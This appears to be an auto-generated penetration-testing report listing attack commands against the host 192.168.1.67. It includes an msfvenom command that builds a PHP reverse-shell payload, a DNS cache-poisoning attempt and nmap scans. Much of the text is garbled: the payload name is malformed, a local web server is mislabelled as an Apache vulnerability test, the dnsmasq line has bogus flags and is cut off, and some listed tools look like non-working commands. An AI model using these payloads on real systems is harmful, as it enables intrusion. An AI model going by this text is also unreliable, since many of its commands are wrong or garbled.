Attack Commands

Generated by ShadowStrike

Table of Contents

Based on the nmap results, here are some potential attack vectors and commands to test them:

1. Web Application Attacks:

“ # Test for common vulnerabilities in Apache python3 -m http.server 8000

1 Try to exploit known vulnerabilities in Apache

msfvenom -p h/meterpr_reverse_tcp LHOST=192.168.1.67 LPORT=4444 -f php > shell.php

2. DNS Attacks:

``

```
# Try to poison DNS cache
dnsmasq --no-daemon --interface=eth0 --bind-interfaces=192.168.1.67 --dhcp-range=192.
```

3. Port Scanning:

“ # Scan for open ports nmap -p- 192.168.1.67

2 Scan for common services

nmap -sV 192.168.1.67

```
4. OS Fingerprinting:
```

```
``
# Try to guess OS version
osscan-ng 192.168.1.67
```

5. Vulnerability Scanning:

“ # Check for known vulnerabilities nebula scan 192.168.1.67 “‘

Remember to use these commands responsibly and only on systems you have permission to test. Always follow ethical hacking guidelines and legal requirements.